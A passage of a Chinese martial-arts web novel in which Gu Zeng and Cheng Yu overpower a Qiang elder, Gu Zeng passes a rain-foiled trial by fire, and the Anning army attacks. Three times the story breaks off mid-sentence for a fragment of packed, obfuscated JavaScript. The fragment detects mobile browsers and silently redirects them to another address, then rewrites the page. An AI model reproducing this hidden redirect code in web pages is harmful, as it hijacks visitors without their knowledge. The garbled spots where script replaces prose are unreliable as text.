远处的雪山与苍松交织成黑影,寨中星星点点,灯火阑珊。 四下寂然,二人倏地相视一笑,程彧拿指节敲了敲她的手臂,招呼道:“走啦,其实小爷我也不要你的什么报答,你留口气陪我下馆子吃饭就行。” 顾曾与他并着肩往外走,一本正经道:“这如何不能算是报答?我可从不轻易陪人吃饭的。” 程彧哭笑不得:“阿曾,你讲点道理罢。都说是我请客了,你就稍微纡尊降贵陪陪我又怎样?” 顾曾浅浅一笑:“行,那我考虑考虑。” 他二人的背影很快就模糊在了夜色中,云戈呆呆伫立许久,将手挪至胸前对长老匆匆一拜,转身朝门外喊道:“等等我!” 宗祠中便只余长老一人。 他怔怔地将那铁链裹成的铁球推开,铁链“哗啦”散了一地,激得他一阵耳鸣,脸色也愈发黯淡无光,浑浊的眼珠望了一眼迦若次乌的牌位,眼中说不准是悲悯还是落寞,只怅然若失地叹了口气。 他心中的大事皆已了却,尘封了十几年的往事于今日宣泄出口,却怎么也觉不出畅快——大概是活在愧疚中太久,他已然忘记了欢欣是何种滋味。 他选择对扶苍军见死不救,也可算是以命偿命,但当年屠寨之仇,何时才能让郭侯这小人还清?身为长老,这些年来,他尽力选拔战士,修筑防御工事,可若安宁军的铁蹄再次袭来,羌族仍是螳臂当车,不过也就是能多杀几个昭人罢了,仍旧挽救不了全族人的性命。 “次乌……”长老自言自语,几不可闻道,“当年我给过你和傅昙一次机会,身为长老,我是否也不该偏心,也该给他的后人一次机会?说不准她能行呢,说不准哎……” 苍山如海,峰峦如聚,绿松波涛如怒。 顾曾再次站在那绳桥前,仍心有畏惧,但此刻心中憋了口吐不出的恶气在,只能把那气往自己身上撒。 走这一遭虽然一无所获,但她好歹悟出了一个道理——求谁都不如求自己。 她得让自己行,让自己无所不能,至少要比她爹强,才能挺直了身板同人谈条件,不然便只能活在她爹的阴影中。 她就这样卯着一口气,正要踏上绳桥,身后却倏然传来一声尖啸,如鹰啼一般响彻天际。 回身一看,只见那宗祠屋顶的四周仿佛布了条引线,由中间一颗火星引燃,霎时就烧成了一圈连绵的火舌,喷薄出两尺高,在这黢黑的山间暗影中无比乍眼。 顾曾眨了眨刺痛的双眼,还未反应过来,四周的碉楼倏地于此时鸣钟大作,厚重的余韵犹如洪水过境,片刻便响彻了整个山谷。 而原本寂静的羌寨顷刻灯火莹煌,手持利刃的战士冲破自家大门,正呼啸而来。 21.围攻 程彧捏紧了拳头,怒极反笑:“这出尔反尔的老东西,小爷我这就让他试试刀架在脖子上的滋味。” 可羌人来得比预料中快得多,澜江这条天险于他们而言形同虚设,一群人犹如山间大野猴,几瞬呼吸就跨过绳桥荡到了他们面前。 他们手持长矛利刃,堵在三人面前,时不时就要把刀尖往前戳几下以示威吓。 云戈一贯寡言少语,此刻急得满头大汗,简直快要把喉咙说冒烟,才勉强拦住几个抡大刀的暴躁大哥。 在羌人的步步相逼中,三人已逐步退到了宗祠门口。 长老并未将门掩实,露了一双阴沉沉的三角眼,对他们得意地扬了扬唇角:“老朽我思来想去,对你们昭人实在没必要手下留情。” 程彧冷笑:“老东西,找死。” 他扬袖一挥,长老只看见什么东西映着月色飞旋而来,快出残影。他匆忙扬起手中铁链,护住自己一根棍子似的身躯。 “叮”的一声脆响,昏暗中闪过一道火星,那铁链竟生生被斩断了一半。不远处的地上,一把不过手掌大小的飞刃正在急速打着旋,通体还闪着幽幽碧光。 程彧“嘁”了一声:这流纹刃果然还是太小了,关键时刻派不上用场。 可是长老本人已被骇得不浅,他这铁链是古巫族人留下来的神兵,嵌于山体中,坚不可摧、牢不可破。 他当年既然选择戴上它,便是存着至死不摘的决心,自认世间没有利刃可将其斩断,没想到,今日却被一其貌不扬的小暗器随意就切断了一半,而那暗器竟丝毫未损。 长老死鸭子嘴硬,掩盖住内心惊慌,仰天大笑几声:“便只有这点本事么,小子,我看你还是老老实实躲在这姑娘身后罢。” “哦,是么?”程彧似是被这话逗笑了,抬了抬唇角,眼中戾气大盛,“阿曾自然是极厉害,但对付你这老东西,我一人足矣。” 他如山风一般纵身而出,腰间长剑似白虹划过,鹰嗥九天,踏破长空。 长老没有功夫在身,心中大骇,再次甩出臂上铁链,层层叠叠要把他绞在其中。 程彧躲也不躲,剑身不动如山,剑势丝毫未收,寒光照夜,映出他杀气腾腾的一双眼。那不过半个巴掌宽的剑身几近温柔地扫过,剑身微微嗡鸣。 电光火石间,厚重的铁链便犹如一条虚张声势的长蛇,啪——应声而断。 他衣襟处梅花点点,恰似业火中破茧而出的红蝶,手中一把长剑无坚不摧地斫断一切,剑风过处,所向披靡。 剑尖游龙般朝着长老的头颅而去,就在他即将血溅三尺之时,只闻“锵啷”一声脆响,那气势逼人的长剑竟突然落了地。 适才还杀气腾腾的程二公子单膝而跪,猛地咳出了一大口血来,流光溢彩的长袍背部已洇成了一团绛朱色的绣球牡丹。 云戈倒吸了一口气,神情古怪,也不知是心疼程二公子还是心疼自己这件衣服。 长老经此变故,惊惧未定,心道玩过头了,差一点就把自己玩没了,半响才一顿一顿地吐出憋了半天的一口气来。 谁知这口气刚舒到一半,还没来得及出口讥讽,眼前霎时又是寒光一闪。 “二公子受伤了便安分点罢,此处交给我。” 顾曾几乎是和程彧同时冲出来的,但众人的注意力都在程彧身上,没人留意时,她已偷偷潜伏在门旁的暗影里。 长剑落地的那刹,她似一条游鱼般滑出,抄起剑柄,反手便是一剑。月光落在剑身,映出满室华光。 长老几乎是下意识地双手护住头颈,但听“叮叮当当”几声脆响,四肢上的铁箍已被尽数斩断,枯槁的皮肉却毫发无伤,不由在心中暗赞她这力道拿捏得正正好。 顾曾并未痛下杀手,手腕一转,将长剑啸出一丝清亮的铮鸣,负手立于身后。 她衣摆如云,睥睨而来,于月色中飘飘似仙。 “你这小妮子!”长老怒气冲冲地没话找话,“出手前想都不想,若是真把我四肢斩断,你们永远也别想离……” 顾曾大抵是被他烦到再难忍受,把脑子里的“尊师重道”、“敬老爱幼”统统往后一抛,上手揪住套在他颈中的铁链,用力一扯,长老的喉咙发出一丝诡异的哀嚎,脖子差点被这道大力扭断。 他终于不敢再胡言乱语了。 族规禁止人随意进出宗祠,虽然自家长老正在挨打,他手下这帮羌族的战士们也只围在门外干看着,叽里呱啦吆喝出鸡鸭啼鸣般的合声吟唱。 顾曾反手把剑架到长老那风一吹就能断的脖子上,纵声一笑,活脱脱像个阴险的大坏蛋:“你们谁再多说一句话,我便割他一片肉,不信的尽管试试罢。” 想不到人之将死,还得再挨一次凌迟极刑。长老苦着脸,在心里快速地盘算了一下自己有没有得罪过什么人。 好在他素日里还算颇受爱戴,羌人受到威胁霎时安静如鸡。 顾曾终于可以弯下身来查看程彧的伤势,他面若死灰气息紊乱,衣襟上血迹斑斑,一副奄奄待毙的模样。 顾曾先是吓了一大跳,后又皱眉道:“先前这伤有这般严重么?” 程彧也不知她是否当真瞧出来了,但面子上也只得硬撑着续把这戏演下去,当下悠悠探出一只手来蹭了蹭她的手背,露出一个自觉美轮美奂的莞尔一笑,正要开口说话。 “还有脸笑?!居然还好意思腆着脸笑?”也不知他又怎么触了顾将军的逆鳞,顾曾量大管饱地抓起一把金疮药,反手赏在他后背上,重重拍了拍,“逞能是吧?下次还敢不敢了?” 程二公子的背上多出了好几个白花花的掌印,疼得他眼泪差点出来。 “……”长老离得最近,赶紧别开头,眼观鼻鼻观心,“罪过罪过。” 程彧咽下被她一掌拍到嗓子眼的五脏六腑,心道:“不敢了,再也不敢了,再有下次真要死在你手里了。” 面上仍是强颜欢笑的,把戏做得十足十:“阿曾,你轻些。我……我、我好疼。” 顾曾咬牙切齿地掀给他一个白眼:“疼也给我忍着。” 她折腾够了,便丢下程彧,一脸冷笑地朝长老走去,已作捋袖揎拳之势。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307972|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 长老生无可恋地闭上眼睛,心道:“傅昙啊傅昙,你造孽啊偏生出这么个魔王。” 他此刻心中无比后悔,也不知适才自己的脑子是哪根筋搭错了,要帮就痛痛快快地帮他们,要不帮便放他们顺利离开,却偏偏选择挖了个这么大的坑给自己跳。 外人看来他仍是那副高高在上受人尊崇的模样,端正地趺坐在地,双手捏势搭在膝上,朗声大笑:“你以为擒住我有用么?我活这么大岁数早就不畏生死,可你二人如此年轻,若伤了我,被我族人取了性命,岂不亏哉?” “长老说的我自然清楚得很,可是真不幸,你也没给我们选择的余地。”顾曾清寂又和缓地笑笑,轻松得仿佛是在唠家常,“反正铁定是要死在这儿了,不如咱们就黄泉路上做个伴罢,正好我已经快不记得我爹长什么样子了,有你在也方便在下面找他。等见着他,我必得好好说道说道他有多识人不善、遇人不淑。” 长老还是第一次听到一个妙龄少女说要和他这糟老头子作伴去死的,气得直吹胡子瞪眼。 他幽幽叹了口气,这黄泉路又不是什么通天大道,他还没想着去走一遭,现在的年轻人却能这般坦然面对了?看来世道艰辛啊…… “慢着!手下留情!”剑拔弩张的宗祠外忽然传来清越的高呼,一白发老人正自绳桥上摇摇晃晃而来,正是云戈的阿婆。 她匆匆忙忙一路小跑过来,拨开大气也不敢出一声的羌族战士,一把将云戈搂在怀里,待再三确认他未曾受伤后,才对长老深深一拜。 长老高高在上睨了她一眼,夹了半天的尾巴终于可以放肆翘起,语气陡然变厉:“彩南珍,你可知罪?我把次乌的两个孩子托付给你照养,墨月离家出走至今杳无音信,现在云戈也要和这两个外人一起离开,你究竟给他们灌输了什么迷魂汤?” 他是用羌语说的,顾曾一个字都没听懂,只看到云戈阿婆诚惶诚恐地双手举天,伏地一拜。 阿婆说道:“回长老,我已细细验过,此女正是天定的神女,施我族以祥瑞,如今她既唤云戈离去,乃是云戈的福报,怎敢忤逆?” 自然,她也是用羌语答的。 顾曾和程彧互觑一眼,看着长老和云戈阿婆你一言我一语地有来有往,而围观的羌人由义愤填膺逐渐偃旗息鼓,投来的视线已大有不可思议之状。 她心下慨叹,真不知道老爹当年施了什么法,把这群人忽悠得五迷三道的,还真随便就信了她是神女这种鬼话。 云戈一点一点挪到她二人身边,悄声道:“姐姐,快走。” 程彧歪了歪头,笑道:“他们聊这么欢,难道不是在想着怎么把我家阿曾好吃好喝地供起来么?” 云戈摇头:“有人,不信。” 顾曾不禁皱眉,他们不信也没法子,这胎记虽然就长在她身上,可她总不能当众脱衣服给他们看罢! 云戈又道:“长老说,要考验。” 想到不用脱衣服,顾曾的语气轻松了许多:“怎么个考验法?” 云戈沉默了一瞬,抬起了眼皮:“火烧。” 22.考验 “老东西,你找死!”程彧登时垂死病中惊坐起,趁长老正端坐如野鸡,当头一击落在他天灵盖上。 长老回身破口大骂:“尔等黄口小儿,恁是无礼!” “程容与,你别闹了。”顾曾揪住他,自己却居高临下地看着长老,笑道,“老头儿,听说你要烧我炼丹?” 长老未露惧色,意味深长一笑:“真金自是不怕火炼,神女褪去肉骨凡胎方可真正化神,只是不知我们的‘神女大人’是否是那块真金呢?” 顾曾的眉梢眼角都是讽意,并未打断他。 长老:“若神女大人通过这烈火焚身的考验,我等定以你唯尊,听从派遣。”他下垂的眼尾竭力动了动,露出一个得意又奸诈的笑容,“自然,若神女大人要我奉上蝴蝶谷的舆图,老朽也不敢说半个‘不’字。” 羌族众人中不乏会说中原话的老人,听到长老的允诺,异口同声拜道:“请神女大人早日化神,泽被天地。” 看来这群人是定要不管不顾把她往火架子上推了,顾曾揉了揉眼眶,慨叹自己的气运真是世间绝品,无奈道:“现在就要烧?” 长老见她面露怅然,想来是惧了,大笑:“非也非也,三日后才是良辰吉日,不必急于这一时,神女大人大可趁这三天了却世间尘缘事,化神之后,再不过问俗世。” 他欲将她留在谷中几日,好生“考验”她,看看她究竟是不是那块供人遮风挡雨的料子。至于火烧一说,纯属是他被打了一顿之后的即兴发挥,想着出自己一口恶气。 “了却尘缘事,比如什么?”顾曾抬了抬眉梢,好整以暇地听他大放厥词。 长老视线一动,打算给自己找个帮手,遂看向程彧蔼然一笑:“神女大人一看便还未成亲,既然和这位……” 他陡然意识到自己甚至不知道眼前这位公子姓甚名谁,以一咳声带过,“……两情相悦,大可在这三日内完婚。后日是婚嫁吉日,我族上上下下会允神女大人笙歌一夜、红妆十里。” 顾曾于心中冷笑一声。 这老头那点歪心思全写在脸上了,只有傻子才看不出来。他明知神女一说为假,却迟迟不让手下人动手,反而执意要将自己留下,目的不就是为了吓唬自己么? 无聊。 她的耐心快被这个瘦骨嶙峋的老头儿耗尽。既然不是真打算杀她,那就好办多了。 顾曾轻描淡写道:“听上去是不错,可我赶时间,那可如何是好?三天也太短了,我有太多事想做,也拿不准主意,还是不如直截砍了你然后再杀出去来得简单。二公子,你意下如何?” 程彧被她揪了两下肩头的头发,却恍然未闻,只丧魂落魄地囫囵应着:“……啊,我……” 从长老喋喋不休说到“成亲”他便开始直犯迷糊,极其不中用地就上了当,再听到顾曾居然说“听上去不错”,整个人就仿佛在茜草染缸里浸泡了三个月,一张粉雕玉琢的脸活脱脱涨成了绛紫色,别的什么他便再也听不进去了。 即便他心知肚明,管它三日五日,他绝对不会让她往那火坑里跳的,只是仍克制不住在脑中天马行空地胡思乱想,一边想一边又默默在心里扇自己耳光,直扇得自己意识迷离。 他不应声,顾曾以为他怕了,但也并不气恼,反正她也没指望这家伙能有多不惧生死。 她眯眼望了望天,轻声一笑:“既然我们赶时间,长老前辈,咱们就各退一步罢。烧我可以,只是莫要等到三日后了,择日不如撞日,明日午时如何?” 成亲,没了。火坑,还是要跳。程二公子的美梦,被她一语惊醒了。 他眼瞳霎时一缩,羞意未褪的脸上浮起一丝美梦变噩梦的愠怒,看向顾曾的眼神就像在问她是不是被人夺了舍。 “阿曾,你……你是不是疯了?!” 他越想越搞不懂她的心思,这些人又不图财又不图色的,说烧那必定是真把她架在台子上烤,想跑都跑不成,她竟然允了,还催着他们烧快些? 既给了他们三天的缓和时间,寻点别的方法不行么?再不济,让云戈再把他们原路送回去就是了。 她难道……就这么不想和自己有任何一丝丝牵扯么? 顾曾回身看向阴影中的长老,气定神闲道:“放心,我死不了。” 本就是为挫挫她的锐气,长老压根没想到她有胆量应允,更没想到该如何收场,瞠目结舌半天也说不出个完整的句子:“这个……那个……” “说人话。”顾曾森然扫了他一眼。 长老背心一凉,鬼使神差就点了头:“明日还是三日后,自然没有什么分别,都听你的。” 他感觉自己才是被挫了锐气的那个人。 “很好。”顾曾满意地扬了扬嘴角,转向众羌人扬声道,“你们也都听到了,明日午时,就在门口这片空地上,不论横竖正反,你们爱怎么烧怎么烧,想怎么烤怎么烤,在下悉听尊便。现下快都散了,各回各家去。” 羌人愕然相顾,皆露出“原来这就是神女吗”、“好有魄力”的仰慕神情,连云戈看向她的目光中都多了几分陌生的崇敬。 他们都已然相信,她就是神女,无疑。 只有程彧一个人边生闷气边着急,但见顾曾负手而立,双目灼如烈日,气势非凡,仿佛下一刻就要携大军攻城掠地,再借程二公子八百个胆子也不敢拂了她的意。 程彧只好窘迫地揪了揪她的衣角,悄声道:“阿曾,你有什么锦囊妙计提前给我透透底,免得我今日心慌意乱睡不着觉。” 顾曾睨了他一眼,没应声,那眼神已经把嫌弃明晃晃地挂在了脸上,仿佛在说“你睡不着觉与我何干”。 程二公子登时蔫了——她怎么……生气了呢? 宗祠前攒动的人群渐渐散去,夤夜又回归了它本该有的模样。 倏地一声清鸣,顾曾毫无征兆地一刺,当空挽了个利落的剑花。 残影之下,剑尖擦着长老的脖颈而过,堪堪停在了他鼻尖前一厘,剑身清亮如雪,倒映出他那张被吓得面如死灰的脸。 “你……你要干什么?”她做事不按常理,长老已被治到没了脾气,连质问都弱不禁风起来。 顾曾眼皮一掀,沉默着上前,手指轻轻于长老的颈上一弹,最后的铁箍就如一块于风中飘摇的枯叶,发出了“咔哒”一声错动,碎成两半脱落在地。 她踱步至门口的石阶,将被晚风打乱的碎发挽到耳后,露出一瞬清浅至温柔的笑容,低喃道:“前辈,有空多出来看看天地广袤吧。占着如此山清水秀的一块地,却偏偏要把自己锁在笼子里,真不知你怎么想的,我……” 她本想说:“我在大漠那么多年,做梦都想住在这种好地方。” 但思忖之下,每个地方的人都有自己的难处,渭城自然也有自己的好,她便只叹了口气,将这后半句吞回腹中。 长老摸了摸自己那被铁链磋磨得体无完肤的脖颈,又不可思议地动了动四肢,恍若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323468|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔世。 十年的枷锁,就这般一朝尽断。 他不用再像个木偶般挪动,可是这久违的自由却让他感到无所适从,仿佛蹒跚学步的稚婴,每走一步都要歪歪扭扭停顿许久。 三步后,他逐渐平稳行走。五步后,他步伐加快…… 十步后,他奔跑着冲出宗祠,跃下石阶,置身于银河流转之下,霍地两声大笑,笑着笑着又嚎啕大哭起来。 所幸,眼前的羌寨万家灯火熙熙,他十年心血与煎熬也算没有白费。 顾曾倚着门框,看着长老独身一人肆意疯癫,浅浅打了个呵欠。 程彧站在她身侧:“阿曾你啊就是嘴硬心软,帮别人还帮得如此别扭,你要人家如何感激你的好心?” 话刚说完,他嘴角的笑容还没来得及消,余光一闪,正瞥见顾曾一丝冷笑,满脸全是铁石心肠地望来,便知自己又摊上事了。 程二公子此刻眸若寒星,声若环佩,腰板挺得笔直,全然不似有恙。 “我看二公子这伤好的快得很呐,”顾曾探手捏住他的肩,动人一笑,“有什么疗伤诀窍,也同我说说?” 不亲身试过是真不知道,顾将军这手劲真是不可小觑。 程彧定力不浅,眉目不惊道:“还好有你在,不然……嘶,就凭我伤成这样……嘶!怕是吓不住他们呢。阿曾,咳咳,你下手轻……你真厉害!三下五除二就制住了那欠揍的老东西。” 顾曾皮笑肉不笑:“那不还是要多亏二公子‘让’给我这出风头的机会。” 程彧牵牵嘴角:“你就别取笑我啦,我这三脚猫的功夫摆摆样子倒还好,真动起手来难免露怯,还是要你出马才稳妥。” “下不为例。”顾曾冷哼一声,这才松开他。 她方才也以为程彧当真伤重,心惊肉跳了好一阵,待发现这家伙居然连自己都要唬,又怒又好笑,盘算了许久要如何教训他。 见他还算诚恳,又的确有伤在身,刀子嘴豆腐心的顾将军决定暂且放他一马。 她的视线终落到那长剑上,将其横于胸前,仔细掂了掂,再用双指夹住剑刃,一阵彻骨之寒顷刻袭来。 “阿曾你当心些!”程彧在一旁看得心里七上八下,这剑锋利无比,他生怕她一个不小心切下自己两根手指来。 顾曾轻弹剑身,清冽的脆鸣仿佛凝成了一条线,流光乍现,纤巧的剑身只微微翕动了一瞬便没了波澜,光滑如初。 “好剑。”她手腕一甩,递给程彧,“收好罢。” 程彧还剑入鞘,脸上一阵变幻莫名:“你既喜欢,赠与你可好?” 顾曾方才放下的眉梢再次提起:“陛下的赏赐,二公子也敢随便赠人?” 程彧轻笑道:“权当丢在路上了,我不说你不说,这世上又无第三人知晓。” 顾曾冷冷道:“我位卑身鄙,居于一隅终日不出,要不起这稀世神兵,二公子自己留着切菜罢。” 程彧默默叹了口气,但凡提起故人和旧物,顾曾这嘴就跟严丝合缝焊在了一起一样,浑身也要生出生人勿近的尖刺,他再存心试探怕是要再挨一顿打。 他没想戳破她刻意隐瞒的谎言,他只是在想,她究竟何时才能认出自己这个故人来。 顾曾自然是识得此剑的——这把上将军的佩剑由先皇斥人打造,赐予了她祖父,又曾经在她爹身上挂了十余年,如今本应佩在她的身上,奈何她不想要。 名剑有灵,她自认不配。 23.神女 二人正在思索在哪过夜,对岸的许多羌人却去而复返。 他们背着一筐筐的柴火,自发地在祭台上堆了起来,不一会就把丈许来长的祭台堆了个满当。 有人还贴心地在最中央放了块绣花软垫。 “……”程彧本想笑,但一想到顾曾明天说不定就要被烧成干尸,嘴角又无论如何也扬不起来了,“阿曾,趁着夜深人静,咱们跑吧。” 顾曾跨过碎木枝,气定神闲地在软垫上坐下:“跑又跑不出去,不过是白费工夫。本神女掐指一算,明日有雨,这火是烧不起来的。” “当真?!”程彧又惊又喜,“可恶,你不早说,害我担心了这么久。” 早听说军中的堪舆师或多或少都能占星辨月、推断晴雨,他适才情急心切之下竟把此事忘了,如今见她老神在在,便跟着宽下心来。 顾曾早就盯上了天间的那朵云,稍加感知风向,堵上一条不值钱的小命断言:明日必有雨。 她不做亏本的打算,引火烧身是决计不可能的,这神女也是一定要做的,蝴蝶谷的舆图她更是势在必得。 待到众羌人都心悦诚服,届时她倒要看看这疯疯癫癫的长老还能耍什么花样。 忙碌了一整日,顾曾已觉疲累不堪,伸罢懒腰正要起身,又见云戈的阿婆携着一众女眷扛着大包小包而来。众人见她已自觉地坐好,甚是欢喜,便又哄又拜地不许她再起身。 她们七手八脚地把她那雪白的褶裙摊开,将她围在中间,各自从包袱中抽出五颜六彩绚若云霞的丝线与锦缎,开始在她衣衿上行云流水地以线作画。 羌人崇敬神女,要奉她以最美的裙裳。 顾曾诧异之余很快便留意到,云戈阿婆的针黹乃是一绝,任何其貌不扬的色彩入了她的手都能发挥妙用,顷刻便可乘风化云,化作祥符花鸟栩栩如生地腾飞。 她撇头看了眼程彧身上的那件玄色毪袍,想来是耗费了阿婆不少个日夜做给小云戈穿的,如今就这么被程彧的血……和她那撒起来不要钱的金疮药给糟践了,一阵羞惭蔓延至她心头。 俄顷,又来了几位步履蹒跚的古稀老婆婆,先在她脖子上层层叠叠摞满了银项圈和银压领,树皮般斑驳的枯手又颤巍着伸进袖口里,掏出她们传家宝的银角银扇银簪子,一股脑地全往她头上插,边插还边振振有词地求她保佑风调雨顺、太平昌隆。 虽然顾曾的脖子快被压断了,但一想到这些人大半夜被她的话骗来此地,就有种虐待老人的心虚感。 程彧站在一旁看热闹不嫌事大,甚至趁着人多眼杂,还偷偷在她发髻上簪了两颗琉璃花钿——是临行前他特意向皇帝讨的龟兹国的贡品,打趣说要送给看着顺眼的小娘子。 这一宿,有人伏首针工,有人虔诚叩首,有人被折腾得肩酸背痛脑袋涨,还有人笑眯眯地躲在一旁看心仪的姑娘。 朝墩初上,云蒸霞蔚。 羌人起了个大早围在祭台旁,就为了抢个看神女化神的好位置,有辰时才匆匆赶来的人已然挤不进来,只能隔着条澜江望眼欲穿地往这边瞧个热闹。 整个羌寨万人空巷,皆数围在了澜江两岸,远远望去,人头攒动之势比滔滔江水来得还要汹涌澎湃,被围在中间当猴看的顾曾再也做不到平静无澜,赧然至极,恨不得将头埋进胸口。 巳时,天空开始掉雨点了,毛毛细雨,没人当回事。 巳正,瓢泼大雨倾盆而落,不少抱着孩子的妇人和上了年纪的老人只好急匆匆地回家避雨,余下的大部分是精壮汉子——他们身兼重任,要替全家人在神女面前祈福。 午时,预计该点火了,可雨还在下。 提前堆好的柴火早已湿透,烧大概是烧不起来了,扎起来做个木筏应当还是够很多人乘坐的。 长老站在宗祠门口,全程呈长者巍然之风,沉默着睥睨而下,心中却大笑不止。他终于明白,顾曾怕是早就料到了这一出才应允得那么干脆,慨叹道:“此女聪慧过人、胆识可嘉,罢了罢了,这次算我败咯。” 羌人不知所措,向长老投来求助的目光,似乎在等他定夺。 长老遂清了清喉咙,手掌探出,拨开屋檐下一方水幕,朗声道:“天意如此,吾等自当尊崇天意。尔等,还不拜见神女?” 众人不疑有他,齐刷刷跪地而拜。 顾曾得意洋洋一抬眼,还瞧见程彧学着羞答答的小娘子模样对她福了福身,无声对他笑骂一声:“你找打。” 浩瀚的吟唱声中,她顶着全身几十斤的行头巍然起身,湿透的衣摆上锦绣绚烂,如一朵盛开的七色水莲,将她稳稳托起。 起身之际,天边却有一声惊雷炸开,大地随之剧烈一颤。 众人纷纷愕然:“这难道是不祥之兆?” 顾曾面沉如墨,死死盯住远方一线:“那不是雷声,那是……” 沉重的钟声撕破雨幕而来,如催魂般杂乱无章地撞个不停。碉楼上的烽火台逐一点亮,顷刻间已燃到了眼前,可是羌人隐居于此十余年,从未见过这烽火点燃的样子,登时有些不知所措——这烽火……是何意来着? 顾曾回头看向长老,沉声道:“有人打上门来了。” 她知晓得最清楚,那不是雷声,那是安宁军的开山炮,威力无比,号称一炮可平山川。 不多时,一个高挑的男子嘶吼着奔来,脸上已挂了彩,张牙舞爪比划了半天。 顾曾急得想骂人:“他说什么?” 云戈阿婆攥住她的手,道:“姜旬小殿下也来了么?” 顾曾一惊:“阿婆何意?” 阿婆叹道:“这是我族的斥候,他说山下有人乱喊叫阵,说‘姜祐珣,出来受死’。” 顾曾霎时便握紧了拳,眼中已现出凌厉的棱角,寒声道:“倒要叫他看看是谁先死。” 不能再犹豫了。安宁军如今在郭侯的默许下,已滋长为一庞然大物。他们一旦出兵便全然不问道理,只会荡平大军前进路上一切阻碍,多年前他们便可横扫最强盛的羌族,如今这小小羌寨与之相比可谓是几乎不堪一击。 顾曾双手并用,拼命地拆卸自己这满身的累赘,见羌人犹在犹疑,她蓦地甩下一枚银簪,高声而喝,不容置疑:“全军,随我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330053|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出征。” 羌人依旧乱作一团,茫然地看着他们大呼小叫的神女大人。顾曾猛地意识到,这些年轻人大多不会说中原话。 敌人都打到家门口了,她这边的内部事务还没处理好,一时间只觉焦头烂额。 好在,她一眼便扫到了人群中的云戈。少年神色还算镇静,眼神远比他四周的彪形大汉来得坚毅沉稳。 顾曾对他招招手,喊道:“云戈,你来做我的传令兵。” 羌族本代首领迦若云戈年方十四,素来是个不合群的冷漠少年,今受召唤,心中油然而生起一股奔腾热烈的暖流,神色肃穆上前来:“遵命。” 他将顾曾的话翻译出来,出人意料,羌人仍是安静如鸡地愣在原地。 顾曾和他们面面相觑几眼,有种大事不妙的预感,急道:“将军呢?你们领头的呢?” 仍是没人应声。 示警的钟声敲得更加催魂夺命,顾曾恍然,转身对一旁隔岸观火的长老大喝一声:“老头儿,你不会没教他们如何打仗吧?!” 长老低头嗫嚅:“这个那个……我们在这里也不用跟人打仗……” 迦若次乌死后,族内再无领兵之人,长老虽在那时扛起重担,但他不懂兵法,甚至连基本的治军之术也一窍不通,只把部族里的战士简单分成了几个彼此照应的小队。 再者,羌人平日也不怎么出山,倘若出了,碰到的也皆是些被派出来巡山的小兵,从未与摧枯拉朽的安宁大军有过正面交锋的经验。 虽置身大雨,顾曾却真切地有种被架在火上烤的急迫感,两眼一黑又一黑,感慨这真是屋漏偏逢连夜雨,还没来得及把受困的扶苍军接下山,安宁军就这么明晃晃地打来了,而她还得下场去救这帮仗都没打过的奶娃子。 可事已至此,跑是跑不了了,那就打吧。 她视线飞快掠过众人,对长老喝道:“还不赶紧把舆图送过来,是在等死么?” 云戈一个嘴快,连这句话都顺口翻译给了羌人听,人群听到“死”这个字,登时弥漫出耸动的不安。 长老安抚众人两句,神神秘秘地招顾曾进屋。 第一天做神女的顾将军赶鸭子上架,着手安排道:“全族所有有力气能打的,不论男女老少,分为三路,两路精兵带轻便武器,另一路赶紧扎些草人备用。半个时辰后,山门处集合等我。程容与,跟我来。” 她说得和缓,极有耐心,恰如对幼童循循善诱,但又字字铿锵,带着不容忤逆的气魄。 羌人见她如此决绝,惶恐大减,对他们的神女坚信不疑,即刻便照她说的前去准备。 看来没经验也有没经验的好处,比如,好糊弄。 变故来得突然,程彧其实心里也没底,打仗他比羌人还外行,只能在一旁看着顾曾指挥。 他很从容,外界就算闹个天翻地覆,此刻他满心满眼也只有她,山崩海啸都不如她指挥时那短短几句话来得震耳欲聋。 “程容与,怎么还不过来?”顾曾站在宗祠门口,对他招招手。 程彧这才恍然回过神来:“来了。” 24.生死 长老将他二人领到宗祠内的一处暗门旁,不怎么熟练地打开机关,露出一条延伸至深山中的黑黢黢的甬道,颤声道:“这条路可以直穿蝴蝶谷,我把舆图奉上,你二人快离开罢。” 搞了半天整这么一出,顾曾怒极,冷笑一声:“‘走’?你没听到我让他们在山门等我么?现在走,岂不是擎等着让他们去送死?” 长老揪着自己凌乱稀少的头发,青筋暴起,快要把最后那点仙气飘飘的门面也给薅秃,着了魔似的一直重复着一句话:“打不过的,打不过的啊!” 十年前他便目睹过漫山尸首的惨剧,十年前他就无能为力,今日噩梦再临,他自知无力可挡,而自己多年的心血终究还是要化为泡影。 他不是恐惧,他只是比所有人都更清醒罢了。 但对于将军来说,最鄙夷的便是不战而降。 